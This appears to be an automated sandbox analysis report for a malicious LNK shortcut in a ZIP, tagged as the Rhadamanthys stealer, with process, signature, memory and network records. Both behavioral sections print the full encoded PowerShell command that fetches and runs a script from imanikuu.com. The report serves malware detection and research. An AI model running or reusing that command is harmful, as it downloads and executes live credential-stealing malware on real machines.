Malware Analysis Report

2024-11-13 13:50

Sample ID 240405-ntewrsag7z
Target DOC5723-57235723.lnk.zip
SHA256 aba115e0bea67fdde8e73b402d39c7902841c5156febb1651437a306a4da9740
Tags
rhadamanthys stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

aba115e0bea67fdde8e73b402d39c7902841c5156febb1651437a306a4da9740

Threat Level: Known bad

The file DOC5723-57235723.lnk.zip was found to be: Known bad.

Malicious Activity Summary

rhadamanthys stealer

Rhadamanthys

Suspicious use of NtCreateUserProcessOtherParentProcess

Blocklisted process makes network request

Checks computer location settings

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-04-05 11:41

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-04-05 11:41

Reported

2024-04-05 11:43

Platform

win7-20240221-en

Max time kernel

117s

Max time network

118s

Command Line

cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC5723 - 57235723.lnk"

Signatures

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1964 wrote to memory of 2652 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1964 wrote to memory of 2652 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1964 wrote to memory of 2652 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\system32\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC5723 - 57235723.lnk"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAG8AcABlAG4ALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==

Network

N/A

Files

memory/2652-38-0x000000001B710000-0x000000001B9F2000-memory.dmp

memory/2652-39-0x000007FEF5540000-0x000007FEF5EDD000-memory.dmp

memory/2652-41-0x0000000002AB0000-0x0000000002B30000-memory.dmp

memory/2652-40-0x0000000001D70000-0x0000000001D78000-memory.dmp

memory/2652-42-0x000007FEF5540000-0x000007FEF5EDD000-memory.dmp

memory/2652-43-0x0000000002AB0000-0x0000000002B30000-memory.dmp

memory/2652-44-0x0000000002AB0000-0x0000000002B30000-memory.dmp

memory/2652-45-0x0000000002AB0000-0x0000000002B30000-memory.dmp

memory/2652-46-0x000007FEF5540000-0x000007FEF5EDD000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-04-05 11:41

Reported

2024-04-05 11:43

Platform

win10v2004-20231215-en

Max time kernel

91s

Max time network

123s

Command Line

sihost.exe

Signatures

Rhadamanthys

stealer rhadamanthys

Suspicious use of NtCreateUserProcessOtherParentProcess

Description Indicator Process Target
PID 4500 created 2640 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\sihost.exe

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation C:\Windows\system32\cmd.exe N/A

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\sihost.exe

sihost.exe

C:\Windows\system32\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC5723 - 57235723.lnk"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAG8AcABlAG4ALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==

C:\Windows\system32\dialer.exe

"C:\Windows\system32\dialer.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 imanikuu.com udp
US 64.20.41.122:443 imanikuu.com tcp
US 8.8.8.8:53 183.142.211.20.in-addr.arpa udp
US 8.8.8.8:53 122.41.20.64.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 134.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 81.171.91.138.in-addr.arpa udp
US 8.8.8.8:53 241.150.49.20.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 150.1.37.23.in-addr.arpa udp
US 8.8.8.8:53 0.204.248.87.in-addr.arpa udp
US 8.8.8.8:53 14.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 136.136.73.23.in-addr.arpa udp

Files

memory/4500-7-0x000001A27DD60000-0x000001A27DD82000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tf12b4s0.heq.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4500-12-0x00007FFBC4850000-0x00007FFBC5311000-memory.dmp

memory/4500-13-0x000001A27DD90000-0x000001A27DDA0000-memory.dmp

memory/4500-14-0x000001A27EAB0000-0x000001A27EB0E000-memory.dmp

memory/4500-15-0x000001A27EB10000-0x000001A27EB20000-memory.dmp

memory/4500-16-0x000001A27EB70000-0x000001A27EF70000-memory.dmp

memory/4500-18-0x000001A27EB70000-0x000001A27EF70000-memory.dmp

memory/4500-17-0x000001A27EB10000-0x000001A27EB20000-memory.dmp

memory/4500-19-0x00007FFBE28D0000-0x00007FFBE2AC5000-memory.dmp

memory/4500-20-0x000001A27EB70000-0x000001A27EF70000-memory.dmp

memory/4500-22-0x00007FFBE02F0000-0x00007FFBE05B9000-memory.dmp

memory/1440-23-0x000001449EA20000-0x000001449EA29000-memory.dmp

memory/4500-21-0x00007FFBE2730000-0x00007FFBE27EE000-memory.dmp

memory/1440-32-0x00007FFBE2730000-0x00007FFBE27EE000-memory.dmp

memory/1440-30-0x00007FFBE28D0000-0x00007FFBE2AC5000-memory.dmp

memory/1440-31-0x00000144A04A0000-0x00000144A08A0000-memory.dmp

memory/4500-33-0x000001A27EB70000-0x000001A27EF70000-memory.dmp

memory/1440-34-0x00007FFBE02F0000-0x00007FFBE05B9000-memory.dmp

memory/4500-29-0x00007FFBC4850000-0x00007FFBC5311000-memory.dmp

memory/1440-28-0x00000144A04A0000-0x00000144A08A0000-memory.dmp

memory/1440-35-0x00000144A04A0000-0x00000144A08A0000-memory.dmp